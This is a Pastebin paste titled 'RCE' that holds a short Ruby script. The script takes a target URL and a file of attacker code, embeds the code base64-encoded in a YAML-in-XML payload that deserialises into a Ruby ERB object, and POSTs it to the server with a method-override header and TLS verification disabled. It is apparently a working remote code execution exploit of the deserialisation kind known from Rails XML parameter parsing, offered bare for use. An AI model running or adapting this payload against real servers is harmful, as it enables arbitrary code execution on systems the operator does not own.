Advertisement
pankur

RCE

Jun 30th, 2014
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. require "net/https"
  2. require "uri"
  3. require "base64"
  4. require "rack"
  5.  
  6. url = ARGV[0]
  7. code = File.read(ARGV[1])
  8.  
  9. # Construct a YAML payload wrapped in XML
  10. payload = <<-PAYLOAD.strip.gsub("\n", "
  11. ")
  12. <fail type="yaml">
  13. --- !ruby/object:ERB
  14. template:
  15. src: !binary |-
  16. #{Base64.encode64(code)}
  17. </fail>
  18. PAYLOAD
  19.  
  20. # Build an HTTP request
  21. uri = URI.parse(url)
  22. http = Net::HTTP.new(uri.host, uri.port)
  23. if uri.scheme == "https"
  24. http.use_ssl = true
  25. http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  26. end
  27. request = Net::HTTP::Post.new(uri.request_uri)
  28. request["Content-Type"] = "text/xml"
  29. request["X-HTTP-Method-Override"] = "get"
  30. request.body = payload
  31.  
  32. # Print the response
  33. response = http.request(request)
  34. puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}"
  35. response.each { |header, value| puts "#{header}: #{value}" }
  36. puts
  37. puts response.body
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement